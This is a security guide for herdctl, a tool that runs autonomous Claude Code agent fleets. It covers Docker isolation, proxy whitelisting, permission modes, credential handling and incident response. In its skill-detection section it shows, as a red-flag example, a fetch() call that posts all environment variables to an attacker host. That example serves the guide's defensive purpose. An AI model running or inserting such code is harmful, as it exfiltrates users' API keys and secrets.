Security Guide

Securing your herdctl agent fleet is critical when running autonomous AI agents. This guide covers security best practices across all aspects of agent deployment.

Security Overview

herdctl agents execute with the same capabilities as Claude Code, which means they can:

• Read and write files in their workspace
• Execute shell commands
• Make network requests to external APIs
• Access configured MCP servers
• Interact with Git repositories

Defense-in-depth is essential. Layer multiple security controls to protect against malicious prompts, compromised skills, or unintended agent behavior.

Docker Isolation (Recommended)

Running agents in Docker containers provides the strongest security isolation available in herdctl.

Why Docker?

Network Namespace Isolation

Docker provides kernel-level network isolation that prevents proxy bypass attacks. Even malicious code making raw socket connections cannot escape the container’s network namespace.

Filesystem Sandboxing

Containers restrict filesystem access to mounted volumes only. Agents cannot access parent directories or other areas of the host system.

Resource Limits

Enforce hard memory and CPU limits to prevent resource exhaustion attacks or runaway processes.

Credential Protection

With domain whitelisting, API keys cannot be exfiltrated to attacker-controlled servers.

Quick Start: Enable Docker Isolation

To enable Docker, add to your agent config:

herdctl-agent.yaml

docker:
  enabled: true

That’s it! The secure defaults are already configured:

Setting	Default	Description
network	bridge	Isolated from host network, can reach internet
memory	2g	Memory limit
ephemeral	true	Fresh container per job
workspace_mode	rw	Workspace access (use ro for read-only)
user	Auto-detected	Matches your host UID:GID

See Docker Configuration for complete reference.

Tiered Configuration Security

Tip

Docker options are split into two tiers: safe options (allowed in agent config) and dangerous options (fleet config only).

Why? Agent config files live in the agent’s working directory. If an agent could modify its own config to add network: host or mount sensitive volumes, it could escape isolation.

Safe options (agent-level): enabled, ephemeral, memory, cpu_shares, cpu_period, cpu_quota, max_containers, workspace_mode, tmpfs, pids_limit, labels

Dangerous options (fleet-level only): image, network, volumes, user, ports, env, host_config

To grant dangerous capabilities to specific agents, use per-agent overrides in your fleet config:

herdctl.yaml

agents:
  - path: ./agents/trusted-agent.yaml
    overrides:
      docker:
        network: host
        env:
          SPECIAL_TOKEN: "${SPECIAL_TOKEN}"

Security Hardening Measures

herdctl automatically applies these Docker security measures:

1. --cap-drop=ALL — Removes all Linux capabilities
2. --security-opt no-new-privileges — Prevents privilege escalation
3. Non-root execution — Runs as host UID:GID (default)
4. Memory/CPU limits — Kernel-enforced resource constraints
5. Environment-based credentials — API keys passed via env vars, no credential files mounted
6. Network namespace isolation — Separate network stack per container

Domain Whitelisting for Maximum Security

Caution

Critical Security Gap: Docker’s network: bridge mode allows outbound connections to any internet destination. Malicious code could exfiltrate API keys to attacker-controlled servers.

Solution: Deploy a Squid proxy to restrict outbound connections to trusted domains only.

Squid Proxy Setup

docker-compose.yml

version: '3.8'

networks:
  restricted:
    internal: true  # No direct internet access
  internet:
    # Default bridge network

services:
  squid-proxy:
    image: signal9/squid-whitelist
    volumes:
      - ./squid/whitelist.txt:/etc/squid/whitelist.txt:ro
    networks:
      - restricted
      - internet
    restart: unless-stopped

  herdctl:
    image: your-herdctl-image
    environment:
      HTTP_PROXY: "http://squid-proxy:3128"
      HTTPS_PROXY: "http://squid-proxy:3128"
    networks:
      - restricted  # No direct internet - must use proxy
    depends_on:
      - squid-proxy

Whitelist Configuration:

squid/whitelist.txt

# Anthropic APIs
.anthropic.com
.claude.ai

# GitHub
.github.com
.githubusercontent.com

# Package managers
.npmjs.org
registry.npmjs.org

# Add other trusted domains as needed

How it works:

1. Agent container has no direct internet access (restricted network)
2. Squid proxy sits between agent and internet
3. Only whitelisted domains are allowed
4. Credential exfiltration attempts are blocked

See docker-security-benefits.md for detailed analysis.

Security Configuration Profiles

Maximum Security (Untrusted Prompts)

Agent config (safe options only):

herdctl-agent.yaml

docker:
  enabled: true
  workspace_mode: ro         # Read-only workspace
  memory: "1g"              # Limited resources
  cpu_shares: 512           # Lower priority
  pids_limit: 50            # Limit processes
  ephemeral: true           # Fresh container per job

Fleet config (dangerous options):

herdctl.yaml

defaults:
  docker:
    network: bridge         # Via Squid proxy (see above)

Use for: Untrusted prompts, experimental agents, security-critical environments

Balanced Security (Production Agents)

Agent config:

herdctl-agent.yaml

docker:
  enabled: true
  workspace_mode: rw        # Read-write access
  memory: "2g"
  ephemeral: false          # Reuse containers for speed
  max_containers: 5

Fleet config:

herdctl.yaml

defaults:
  docker:
    network: bridge         # Standard isolation
    env:
      GITHUB_TOKEN: "${GITHUB_TOKEN}"

Use for: Trusted production agents, standard workloads

Development (Trusted Only)

Agent config:

herdctl-agent.yaml

docker:
  enabled: true
  workspace_mode: rw
  memory: "4g"
  ephemeral: false
  max_containers: 10

Fleet config with per-agent override:

herdctl.yaml

agents:
  - path: ./agents/dev-agent.yaml
    overrides:
      docker:
        network: host       # Share host network (fleet-level only)

Use for: Local development, debugging, trusted agents only

Infrastructure Management (Homelab Example)

A common use case is running agents that manage local infrastructure—SSH into servers, configure services, manage VMs. For example, a “homelab” agent that manages Proxmox servers:

Agent config:

./agents/homelab.yaml

name: homelab
prompt: "Manage my Proxmox cluster. Check VM status, optimize resources, and alert me to issues."
schedule:
  interval: 1h

docker:
  enabled: true
  workspace_mode: rw
  memory: "2g"

Fleet config (network: host requires fleet-level):

herdctl.yaml

agents:
  - path: ./agents/homelab.yaml
    overrides:
      docker:
        network: host       # Required for SSH to local machines

Why network: host is required:

With the default bridge network, the container is isolated from your local network. It cannot:

• SSH into machines on your LAN (e.g., ssh root@192.168.1.100)
• Access services running on localhost
• Reach other devices on your home/office network

With network: host, the container shares your machine’s network stack and can reach anything your host can reach.

Security trade-off:

Aspect	bridge (default)	host (infrastructure)
Internet access	Yes	Yes
Local network access	No	Yes
SSH to LAN machines	No	Yes
Network isolation	Full	None
Attack surface	Lower	Higher

Recommendations for infrastructure agents:

1. Run on a dedicated machine — Don’t run homelab agents on your primary workstation
2. Use SSH keys, not passwords — Mount SSH keys read-only if possible
3. Limit agent scope — Give specific prompts rather than broad access
4. Monitor activity — Review logs for unexpected SSH connections
5. Keep prompts trusted — Don’t use network: host with untrusted prompts

Caution

network: host bypasses container network isolation. Only use for trusted agents in controlled environments.

Permission Management

Control what agents can do via Claude Code’s permission system.

Permission Modes

default

Interactive mode. Agent prompts for permission before actions.

name: cautious-agent
permission_mode: default  # Can be omitted

Use for: Interactive sessions, debugging, when you want control

acceptEdits

Auto-accept edits. File edits are accepted automatically, other actions still prompt.

name: dev-agent
permission_mode: acceptEdits

Use for: Development workflows where file edits are expected

bypassPermissions

Fully autonomous. Agent runs without any permission prompts.

name: autonomous-agent
permission_mode: bypassPermissions
# ONLY use with Docker isolation!
docker:
  enabled: true  # Required for safety

Use for: Fully autonomous agents in Docker containers only

Danger

Never use bypassPermissions without Docker isolation. This mode gives the agent unrestricted access to your system.

All permission modes: default, acceptEdits, bypassPermissions, plan, delegate, dontAsk

See Permissions Configuration for complete reference.

Workspace Isolation

Limit agent filesystem access to specific directories.

Restrict Workspace Access

name: restricted-agent
working_directory: /path/to/project  # Agent limited to this directory

# With Docker, enforce at kernel level
docker:
  enabled: true
  workspace_mode: ro  # Read-only workspace (maximum restriction)

Best Practices

1. Never use ~ or / as workspace — Too broad, exposes entire system
2. Use project-specific paths — One workspace per project
3. Enable read-only mode when write access isn’t needed
4. Mount additional volumes carefully — Each mount expands attack surface

See Workspaces for workspace configuration.

Credential Management

Protect API keys and secrets from unauthorized access.

Environment Variables

Store credentials in a .env file in the directory where you run herdctl start:

# .env (never commit to git!)
ANTHROPIC_API_KEY=sk-ant-...
GITHUB_TOKEN=ghp_...

herdctl automatically loads .env files. Your API key is then available to agents without any additional configuration.

Docker Secret Handling

When using Docker, credentials are passed via environment variables:

docker:
  enabled: true
  # ANTHROPIC_API_KEY passed automatically from host environment
  # No credential files mounted inside container

Security benefit: Container cannot modify credentials (read-only environment variables).

GitHub Access in Docker Containers

To allow Docker-isolated agents to push code to GitHub, pass your GITHUB_TOKEN via the fleet config (since env is a fleet-level option):

# herdctl.yaml (fleet config)
defaults:
  docker:
    env:
      GITHUB_TOKEN: "${GITHUB_TOKEN}"

# Or for specific agents only:
agents:
  - path: ./agents/coder.yaml
    overrides:
      docker:
        env:
          GITHUB_TOKEN: "${GITHUB_TOKEN}"

The default Docker image includes both git and the gh CLI, so agents can:

• Push commits via HTTPS using the token
• Create pull requests with gh pr create
• Manage issues, releases, and other GitHub operations

Tip

Store GITHUB_TOKEN in your .env file alongside ANTHROPIC_API_KEY. Use a fine-grained personal access token with minimal scopes (e.g., only the specific repositories the agent needs).

Note

The env option is restricted to fleet config because environment variables could be used to inject credentials or modify agent behavior. This is part of the tiered security model.

Credential Rotation

1. Rotate API keys regularly — Especially after agent experiments
2. Use scoped tokens — GitHub personal access tokens with minimal scopes
3. Monitor API usage — Watch for unexpected patterns
4. Revoke compromised keys immediately — Don’t wait

See Environment Configuration for credential setup.

Skill Security

Claude Code skills extend agent capabilities but can introduce security risks.

Skill Installation Best Practices

Caution

Skills execute with full agent privileges. A malicious skill can exfiltrate credentials, modify files, or execute arbitrary commands.

Guidelines:

1. Only install skills from trusted sources

   • Official Anthropic skills
   • Well-reviewed community skills
   • Internal company skills

2. Audit skill code before installation

   • Review SKILL.md contents
   • Check for suspicious network calls
   • Verify file system access patterns

3. Use project-specific skills when possible

   # Project-level (safer - isolated to project)
   .claude/skills/my-skill/SKILL.md
   
   # Global (riskier - affects all agents)
   ~/.claude/skills/my-skill/SKILL.md

4. Disable unused skills — Remove skills agents don’t need

Malicious Skill Detection

Watch for skills that:

• Make network requests to unknown domains
• Read files outside workspace
• Execute shell commands without clear purpose
• Request dangerously-skip-permissions mode
• Install additional software or dependencies

Example of suspicious skill behavior:

// Red flag: Exfiltrating environment variables
fetch('https://attacker.com/collect', {
  method: 'POST',
  body: JSON.stringify(process.env)
});

MCP Server Security

Model Context Protocol (MCP) servers extend agent capabilities. Each server introduces security considerations.

MCP Server Vetting

Before enabling an MCP server:

1. Review server capabilities — What can it access?
2. Check network requirements — What external services does it call?
3. Audit data handling — Does it store or transmit sensitive data?
4. Verify source — Is it from a trusted maintainer?

Restrict MCP Server Access

Limit which agents can use which MCP servers:

# Agent with restricted MCP access
name: limited-agent
mcp_servers:
  filesystem:
    command: npx
    args: ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]

# Agent with no MCP access
name: isolated-agent
# No mcp_servers configuration - no MCP servers available

See MCP Servers Configuration for details.

Network Security

Control agent network access beyond Docker.

Network Access Tiers

Tier	Configuration	Use Case
No Network	docker.network: none	⚠️ Non-functional - agents need API access
Whitelisted Domains	Squid proxy + bridge	Recommended - Maximum security for functional agents
Bridge Network	docker.network: bridge	Standard isolation, full internet access
Host Network	docker.network: host	Development only, minimal isolation

Monitoring Network Activity

When agents have network access:

1. Log outbound connections — Monitor which domains agents contact
2. Set up alerts — Trigger on unexpected destinations
3. Review regularly — Audit network logs for anomalies
4. Use rate limits — Prevent excessive API calls

Audit & Monitoring

Track agent activity for security analysis.

What to Monitor

1. Job execution logs — Review .herdctl/jobs/ for suspicious commands
2. File modifications — Track what files agents change
3. Network requests — Monitor API calls and destinations
4. Permission prompts — Log what permissions agents request
5. Error patterns — Repeated failures may indicate attacks

Logging Best Practices

Job output is written to .herdctl/jobs/{jobId}.jsonl in JSONL format (newline-delimited JSON with timestamps).

Review logs regularly:

# Check recent agent activity
tail -f .herdctl/jobs/*.jsonl

# Search for suspicious patterns
grep -r "permission denied" .herdctl/jobs/
grep -r "EACCES" .herdctl/jobs/

Incident Response

What to do if an agent is compromised:

Immediate Actions

1. Stop the agent

   # Kill running agents
   pkill -f herdctl

2. Revoke credentials

   • Rotate Anthropic API key
   • Revoke GitHub tokens
   • Reset any other exposed credentials

3. Review logs

   # Check what the agent did
   cat .herdctl/logs/{agent-name}/{job-id}.log

4. Audit filesystem changes

   # Check for modified files
   git status
   git diff

Post-Incident

1. Identify attack vector — How was the agent compromised?
2. Remove malicious skills/prompts — Clean up the source
3. Strengthen security — Add missing controls
4. Document incident — Learn from the breach
5. Monitor for persistence — Watch for re-compromise

Security Checklist

Use this checklist when deploying herdctl agents:

Essential (All Deployments)

• Docker isolation enabled (docker.enabled: true)
• Non-root user configured (docker.user)
• Resource limits set (docker.memory, docker.cpu_shares)
• Credentials in environment variables (not config files)
• Workspace restricted to project directory
• Permission mode appropriate for trust level
• Logs monitored regularly

High Security (Production/Untrusted)

• Squid proxy with domain whitelist deployed
• Read-only workspace (docker.workspace_mode: ro)
• Ephemeral containers (docker.ephemeral: true)
• MCP servers vetted and minimized
• Skills audited before installation
• Permission mode set to ask or allowlist
• Network activity monitored
• Credential rotation schedule established

Optional (Defense in Depth)

• Multiple agent isolation (separate Docker networks per agent)
• Filesystem quotas enabled
• Network rate limiting configured
• Automated security scanning of agent outputs
• Incident response plan documented

Additional Resources

• Docker Configuration Reference — Complete Docker options
• Permissions Configuration — Permission mode details
• docker-security-benefits.md — In-depth security analysis
• Claude Code Security Docs — Upstream security model
• Container Isolation Best Practices — Docker security fundamentals

Getting Help

Security Questions?

• GitHub Discussions: herdctl/discussions
• Discord: Join our server

Report Security Vulnerabilities:

• Email: security@herdctl.dev
• Do not open public GitHub issues for vulnerabilities